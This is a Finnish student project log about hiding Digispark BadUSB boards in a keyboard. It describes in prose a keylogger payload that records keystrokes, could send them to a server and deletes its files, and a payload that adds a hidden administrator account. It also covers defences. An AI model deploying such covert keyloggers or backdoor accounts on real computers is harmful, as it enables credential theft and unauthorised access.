Kasattuamme näppäimistön ja laittamalla pohjan kiinni huomasimme kuitenkin siellä olevan pieni kosketushäiriö, jota lähdemme korjaamaan. Yhdessä USB Hub portissa oli yksi pieni pinni, joka lähti irti josta mahdollisesti tämä meidän häiriö johtui, kokeilimme kuumentaa USB portin juotto kohtia onnistuisiko tämä, mutta häiriö jatkui. Päädyimme siihen ratkaisuun, että koska olemme taittaneet ylöspäin menevät USB portit vinoon, jolloin metalli ottaa virtapiiriin kiinni, jolloin häiriö alkaa, joten päätimme eristää ne sähköteipillä ja kokeilla toimiiko se ratkaisu.

8.4.2021

Testikoneen ongelmien korjaus:

Teskikoneen näppäimistö sekä hiiri on liitetty ps2-liittimillä USB:n sijasta. Kun avasimme koneen, huomasimme, että näppäimistö sekä hiiri ei ole toiminnassa. Hiiri liikkuu kirjautumisruudussa n. 10 sekuntia, jonka jälkeen se lopettaa toiminnan. Korvasimme näppäimistön usb-näppäimistöllä, mutta ylimääräisiä hiiriä ei ole saatavilla. –> Ongelma korjautui, kun vanhan näppäimistön korvasi usb-versiolla sen jälkeen boottaus virtanapilla. (boottaus ei auttanut, kun ps2 näppäimistö oli kytkettynä). Testikoneen ‘optimointia’. Testikone on vanha, joten windows10 toimii sillä takkuisesti. Senpä takia pyrimme ottamaan kaikki raskaat toiminnut (animaatiot yms.) pois käytöstä. nvidian ohjauspaneelissa (oikea näpäytys työpöydälle) ja 3D-asetukset suorituskyvylle.

Windowsilla on myös oma suorituskykyyn liittyvät asetukset, jotka saa asetuksista poimittua kirjoittamalla hakukenttään ‘suorituskyky’ ja valitsemalla “säädä windowsin ulkoasua ja suorituskykyä”.

Windowsin järjestelmän kielin muuttaminen Englanniksi, jotta verkosta löytyviä ohjeita on helpompi seurata.

Löydettyä tietoa: Avast antivirus estää keyloggerin toimintaa, vaikka se pääsisi koneelle. Se salakirjoittaa käyttäjän painallukset (keystroke protection), sekä tunnistaa tavallista paremmin keyloggerit.

28.04.

Tällä viikolla eräs ryhmän jäsenistämme oli poissa joten jouduimme jatkamaan toisen jäsenemme luona.

Porasimme varovasti näppäimistön muoviin reiät että saamme USB-hubin USB-portit ulos näppäimistöstä näkyviin. Jouduimme valtia tämän ratkaisun koska rahat ovat lopussa, emmekä voi odotella kiinasta tilauksia ja kyseinen hub oli pienin mitä löysimme. Aikasempi samanlainen hubi meni rikki kun irroitimme varovasti USB-portit jotka olivat tiellä. Tämä ei ollut alkuperäinen tarkoituksemme mutta tärkeintä on että saamme projektia edes hiukan toimimaan niinkuin on tarkoitus.
Tämän jälkeen kokeilimme näppämistön toimivuutta mutta vaikka tietokone kertoo että asennetaan ajureita (HP Basic keyboard) niin näppäimistö ei enään lähtenyt toimintaan. Meillä on vielä toinen näppäimistö, sekä sen osat tallella ja tarkoitus on tehdä näppämistöjen osista yksi näppäimistöja kokeilla saammeko ne vielä toimintaan vai täytyykö meidän vielä keksiä jostain uusi näppäimistö.

Kiinnitetty HUB

Rikkoutuneet komponentit

Projektiamme tehdessä meillä rikkoutui yksi Digispark devboard tuntemattomasta syystä. Mistä sitten voit tunnistaa rikkoutuneen Digisparkin. Digispark devboardissa on kaksi LED-valoa, joista toinen on punainen vilkkuvavalo ja toinen vihreä valo. Päättelimme, että Digisparkkimme on rikki, kun sen punainen LED-valo ei vilkkunut enää niin voimakkaasti vaan oli paljon himmeämpi kuin toimivassa Digisparkissa.
Meidän veikkaus olisi, että Digisparkissa on virran saanti ongelmia.

Rikkinäinen ja toimiva

Tilaukset

Koska yksi kolmesta Digisparkeistamme meni rikki, jouduimme tilamaan niitä lisää, hinnat olivat sen verran halpoja joten otimme kerralla tuplamäärän koska kiinalaisen elektroniikan laatu vähän on mitä on.

Tilasimme 10 Digisparkia allaolevasta linkistä, jossa Dollatek on myyjä. 5kpl maksoi 9.99€ ja tilasimme tämän tuplana jotta saimme 10 kappaletta käyttöömme. Digisparkien hinnaksi 19.98€.

https://www.amazon.de/-/en/gp/product/B07ML2SJZN/ref=ppx_od_dt_b_asin_title_s01?ie=UTF8&psc=1 // Digispark

Tilasimme myös 10 Breakout boardia, jossa on naaras USB A liitäntä sekä DIP ulostulo. Näitä emme löytäneet järkevästi suomesta irtomyynnistä, vaan kaikki olisi pitänyt tilata EU:n ulkopuolelta, tämän vuoksi päädyimme nämäkin tilaamaan Amazonista samalla. 10 kappaleen paketin hinta oli 5.27€.

https://www.amazon.de/-/en/gp/product/B07R6HLVJ7/ref=ppx_od_dt_b_asin_title_s00?ie=UTF8&psc=1 // Breakout board USB A Female to DIP adapter

Myyvät yritykset ovat kiinalaisia, mutta nopean toimituksen vuoksi epäilemme että kaikki osat lähtivät Saksan varastosta tulemaan. Toimitus- ja käsittelykulut olivat 9.49€, jotka ovat kalliita, mutta verrattuna Suomen hintoihin jossa yhdestä vastaavanlaisesta kiinalaisesta Digisparkista joutuu maksamaan 7.30€ plus toimitus, tuli näiden tilaaminen selvästi halvemmaksi.

Tuotteet saapuivat 04.03. ryhmän jäsenemme kotiin Postin tuomana.

Uudet komponentit saapuivat 4.3.2021, jossa oli 10 kpl Digisparkkeja ja 10 kpl Breakout boardia.

USB – Hubi 4e

Yhteenveto

Näppäimistön lopullinen ulkomuoto muodostui hieman suunnitelmasta poikkeavasti, sillä Digisparkit eivät mene sen sisään piiloon vaan jäävät näkyville kannen pinnalle. Laite kuitenkin toimii halutulla tavalla eli näppäimistö toimii normaalisti ja Digispark kykenee ajamaan haittaohjelmat sen ohella.

This image has an empty alt attribute; its file name is proto1.jpg
USB-hub asetettuna näppäimistön kannen sisälle

Käyttämämme haittaohjelmat:

Keylogger
Digisparkin liitettäessä tietokoneeseen se ajaa ohjelman ja luo ps1-tiedoston, joka tallentaa käyttäjän näppäimistön painallukset ja luo niistä tekstitiedoston. Tämän jälkeen se halutessamme lähettäisi tekstitiedoston valittuun palvelimeen ja poistaa tiedostot uhrin koneelta.

Lähteemme, josta muokkasimme Keyloggerin koodin.

Admin-käyttäjän luominen
Digisparkin liitettäessä tietokoneeseen se ajaa PowerShell scriptin ja luo tietokoneelle järjestelmänvalvojakäyttäjän, jolla on täydet oikeudet tietokoneen hallintaan.
Tätä käyttäjää voi hyökkääjä myöhemmin käyttää omiin haittamielisiin toimiin.

Puolustuskeinoja Digisparkille
Käytimme Duckhunt-nimistä ohjelmaa, jonka tarkoituksena on tunnistaa sekä estää tietokoneella liian nopea kirjoitus (input). Tunnistaessaan liian nopean kirjoituksen, estää se kaikkien HID-laitteiden käytön hetkellisesti.
Helppo ja nopea asennus sekä toiminta tietokoneella taustaohjelmana.
CMD ja PowerShellin käytön rajoittaminen salasanasuojauksella.

Digisparkin hyöty käytössä
Vaikka projektissamme Digispark on käytössä haittamieliseen toimintaan on sen käyttömahdollisuudet erittäin laajat. Digisparkkia pystyy hyödyntämään automaatiomielessä, jolla pystyisi esimerkiksi ajamaan erittäin pitkät salasanat kätevästi. Digisparkin ohjelmointi on kohtuullisen helppoa siihen perehtyessä, joten kyse on enemmän siitä kuinka käyttäjä sitä haluaa käyttää.